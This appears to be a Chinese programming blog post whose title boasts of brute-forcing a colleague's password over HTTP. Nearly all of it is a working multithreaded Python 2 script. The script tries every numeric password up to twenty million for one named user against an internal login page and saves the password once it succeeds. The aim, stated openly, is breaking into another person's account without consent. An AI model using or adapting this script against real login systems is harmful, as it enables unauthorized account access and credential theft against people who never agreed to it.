1. 程式人生 > >用 python 暴力破解同事密碼(HTTP)

用 python 暴力破解同事密碼(HTTP)

#-*- coding: utf-8 -*-


import urllib,urllib2, cookielib
cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar())
opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
urllib2.install_opener(opener)


import threading

class PrintNumber(threading.Thread):
    def __init__(self, n,m):
        self.n = n
        self.m=m
        super(PrintNumber,self).__init__()

    def run(self):
        for i in range(self.n, self.n+self.m):
            params = urllib.urlencode({'userName':'zjm1126','userPwd':str(i)})
            content = urllib2.urlopen('http://192.168.1.200/order/index.php?op=Login&ac=login&',params).read()
            
            if content.find('登入成功') > 0:
                file1 = open('password.txt','w')
                file1.write(str(i))
                return
            print i


def run(m,n):
    s= m/n
    a = [i*s for i in range(n)]
    for i in a:
        thread = PrintNumber(i,s)
        thread.start()

m = 20000000 #範圍
n = 200       #幾個執行緒

run(m,n)